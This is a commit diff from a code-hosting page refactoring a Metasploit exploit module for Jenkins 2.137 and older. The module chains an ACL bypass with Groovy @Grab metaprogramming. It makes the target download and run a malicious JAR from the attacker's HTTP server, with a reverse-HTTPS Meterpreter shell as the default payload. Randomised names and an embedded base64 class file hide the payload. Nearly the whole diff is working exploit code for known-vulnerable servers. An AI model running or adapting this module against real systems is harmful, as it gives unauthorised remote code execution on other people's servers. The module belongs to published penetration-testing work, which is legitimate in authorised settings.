Fix issues and refactor module
parent
0fa2d985e7
commit
621fa8e4db
|
@ -9,6 +9,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::Remote::HttpServer
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
|
@ -17,6 +18,11 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
This module exploits a vulnerability in Jenkins dynamic routing to
|
||||
bypass the Overall/Read ACL and leverage Groovy metaprogramming to
|
||||
download and execute a malicious JAR file.
|
||||
|
||||
The ACL bypass gadget is specific to Jenkins <= 2.137 and will not work
|
||||
on later versions of Jenkins.
|
||||
|
||||
Tested against Jenkins 2.137 and Pipeline: Groovy Plugin 2.61.
|
||||
},
|
||||
'Author' => [
|
||||
'Orange Tsai', # Discovery and PoC
|
||||
|
@ -29,7 +35,8 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
['EDB', '46427'],
|
||||
['URL', 'https://jenkins.io/security/advisory/2019-01-08/'],
|
||||
['URL', 'https://blog.orange.tw/2019/01/hacking-jenkins-part-1-play-with-dynamic-routing.html'],
|
||||
['URL', 'https://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html']
|
||||
['URL', 'https://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html'],
|
||||
['URL', 'https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc']
|
||||
],
|
||||
'DisclosureDate' => '2019-01-08', # Public disclosure
|
||||
'License' => MSF_LICENSE,
|
||||
|
@ -37,9 +44,12 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
'Arch' => ARCH_JAVA,
|
||||
'Privileged' => false,
|
||||
'Targets' => [
|
||||
['Jenkins <= 2.137 (Pipeline: Groovy Plugin <= 2.61)', {}]
|
||||
['Jenkins <= 2.137 (Pipeline: Groovy Plugin <= 2.61)',
|
||||
'Version' => Gem::Version.new('2.137')
|
||||
]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DefaultOptions' => {'PAYLOAD' => 'java/meterpreter/reverse_https'},
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK],
|
||||
|
@ -49,36 +59,69 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
))
|
||||
|
||||
register_options([
|
||||
Opt::RPORT(8080)
|
||||
Opt::RPORT(8080),
|
||||
OptString.new('TARGETURI', [true, 'Base path to Jenkins', '/'])
|
||||
])
|
||||
|
||||
register_advanced_options([
|
||||
OptBool.new('ForceExploit', [false, 'Override check result', false])
|
||||
])
|
||||
|
||||
deregister_options('URIPATH')
|
||||
end
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
vprint_status("#{request.uri} requested")
|
||||
=begin
|
||||
http://jenkins.local/securityRealm/user/admin/search/index?q=[keyword]
|
||||
=end
|
||||
def check
|
||||
checkcode = CheckCode::Safe
|
||||
|
||||
unless request.uri.end_with?('.jar')
|
||||
vprint_error('Sending 404')
|
||||
send_not_found(cli)
|
||||
return
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => go_go_gadget1('/search/index'),
|
||||
'vars_get' => {'q' => 'a'}
|
||||
)
|
||||
|
||||
unless res && (version = res.headers['X-Jenkins'])
|
||||
vprint_error('Jenkins not detected')
|
||||
return CheckCode::Unknown
|
||||
end
|
||||
|
||||
vprint_good('Sending payload JAR')
|
||||
send_response(
|
||||
cli,
|
||||
payload_jar,
|
||||
'Content-Type' => 'application/java-archive'
|
||||
)
|
||||
vprint_status("Jenkins #{version} detected")
|
||||
checkcode = CheckCode::Detected
|
||||
|
||||
if Gem::Version.new(version) > target['Version']
|
||||
vprint_error("Jenkins #{version} is not a supported target")
|
||||
return CheckCode::Safe
|
||||
end
|
||||
|
||||
vprint_good("Jenkins #{version} is a supported target")
|
||||
checkcode = CheckCode::Appears
|
||||
|
||||
if res.body.include?('Administrator')
|
||||
vprint_good('ACL bypass successful')
|
||||
checkcode = CheckCode::Vulnerable
|
||||
else
|
||||
vprint_error('ACL bypass unsuccessful')
|
||||
return CheckCode::Safe
|
||||
end
|
||||
|
||||
checkcode
|
||||
end
|
||||
|
||||
def exploit
|
||||
unless check == CheckCode::Vulnerable || datastore['ForceExploit']
|
||||
fail_with(Failure::NotVulnerable, 'Set ForceExploit to override')
|
||||
end
|
||||
|
||||
# NOTE: Staging payloads over HTTPS doesn't work (yet?)
|
||||
# HACK: Both HttpClient and HttpServer use datastore['SSL']
|
||||
ssl = datastore['SSL']
|
||||
datastore['SSL'] = false
|
||||
start_service('Path' => '/metasploit/exploit/1.0/exploit-1.0.jar')
|
||||
start_service('Path' => '/')
|
||||
datastore['SSL'] = ssl
|
||||
|
||||
print_status('Sending Jenkins and Groovy go-go-gadgets')
|
||||
send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => go_go_gadget1,
|
||||
|
@ -86,15 +129,24 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
)
|
||||
end
|
||||
|
||||
#
|
||||
# Exploit methods
|
||||
#
|
||||
|
||||
=begin
|
||||
http://jenkins.local/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword
|
||||
?apiUrl=http://169.254.169.254/%23
|
||||
&login=orange
|
||||
&password=tsai
|
||||
=end
|
||||
def go_go_gadget1
|
||||
def go_go_gadget1(custom_uri = nil)
|
||||
# NOTE: See CVE-2018-1000408 for why we don't want to randomize the username
|
||||
acl_bypass = normalize_uri(target_uri.path, '/securityRealm/user/admin')
|
||||
|
||||
return normalize_uri(acl_bypass, custom_uri) if custom_uri
|
||||
|
||||
normalize_uri(
|
||||
'/securityRealm/user/admin', # ACL bypass
|
||||
acl_bypass,
|
||||
'/descriptorByName',
|
||||
'/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile'
|
||||
)
|
||||
|
@ -111,26 +163,72 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
def go_go_gadget2
|
||||
(
|
||||
<<~EOF
|
||||
@GrabConfig(disableChecksums=true)
|
||||
@GrabResolver('http://#{srvhost_addr}:#{srvport}/')
|
||||
@Grab('metasploit:exploit:1.0')
|
||||
import Exploit
|
||||
@Grab('#{vendor}:#{app}:#{version}')
|
||||
import #{app}
|
||||
EOF
|
||||
).strip
|
||||
end
|
||||
|
||||
#
|
||||
# Payload methods
|
||||
#
|
||||
|
||||
#
|
||||
# If you deviate from the following sequence, you will suffer!
|
||||
#
|
||||
# HEAD /path/to/pom.xml -> 404
|
||||
# HEAD /path/to/payload.jar -> 200
|
||||
# GET /path/to/payload.jar -> 200
|
||||
#
|
||||
def on_request_uri(cli, request)
|
||||
vprint_status("#{request.method} #{request.uri} requested")
|
||||
|
||||
unless %w[HEAD GET].include?(request.method)
|
||||
vprint_error("Ignoring #{request.method} request")
|
||||
return
|
||||
end
|
||||
|
||||
if request.method == 'HEAD'
|
||||
if request.uri != payload_uri
|
||||
vprint_error('Sending 404')
|
||||
return send_not_found(cli)
|
||||
end
|
||||
|
||||
vprint_good('Sending 200')
|
||||
return send_response(cli, '')
|
||||
end
|
||||
|
||||
if request.uri != payload_uri
|
||||
vprint_error('Sending bogus file')
|
||||
return send_response(cli, "#{Faker::Hacker.say_something_smart}\n")
|
||||
end
|
||||
|
||||
vprint_good('Sending payload JAR')
|
||||
send_response(
|
||||
cli,
|
||||
payload_jar,
|
||||
'Content-Type' => 'application/java-archive'
|
||||
)
|
||||
|
||||
# XXX: $HOME may not work in some cases
|
||||
register_dir_for_cleanup("$HOME/.groovy/grapes/#{vendor}")
|
||||
end
|
||||
|
||||
def payload_jar
|
||||
jar = payload.encoded_jar
|
||||
|
||||
jar.add_file('Exploit.class', exploit_class)
|
||||
jar.add_file("#{app}.class", exploit_class)
|
||||
jar.add_file(
|
||||
'META-INF/services/org.codehaus.groovy.plugins.Runners',
|
||||
'Exploit' # Exploit.class
|
||||
"#{app}\n"
|
||||
)
|
||||
|
||||
jar.pack
|
||||
end
|
||||
|
||||
=begin
|
||||
=begin javac Exploit.java
|
||||
import metasploit.Payload;
|
||||
|
||||
public class Exploit {
|
||||
|
@ -143,7 +241,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
}
|
||||
=end
|
||||
def exploit_class
|
||||
Rex::Text.decode_base64(
|
||||
klass = Rex::Text.decode_base64(
|
||||
<<~EOF
|
||||
yv66vgAAADMAFQoABQAMCgANAA4HAA8HABAHABEBAAY8aW5pdD4BAAMoKVYB
|
||||
AARDb2RlAQANU3RhY2tNYXBUYWJsZQcAEAcADwwABgAHBwASDAATABQBABNq
|
||||
|
@ -154,6 +252,29 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
AAAA
|
||||
EOF
|
||||
)
|
||||
|
||||
# Replace length-prefixed string "Exploit" with a random one
|
||||
klass.sub(/.Exploit/, "#{[app.length].pack('C')}#{app}")
|
||||
end
|
||||
|
||||
#
|
||||
# Utility methods
|
||||
#
|
||||
|
||||
def payload_uri
|
||||
"/#{vendor}/#{app}/#{version}/#{app}-#{version}.jar"
|
||||
end
|
||||
|
||||
def vendor
|
||||
@vendor ||= Faker::App.author.split(/[^[:alpha:]]/).join
|
||||
end
|
||||
|
||||
def app
|
||||
@app ||= Faker::App.name.split(/[^[:alpha:]]/).join
|
||||
end
|
||||
|
||||
def version
|
||||
@version ||= Faker::App.semantic_version
|
||||
end
|
||||
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue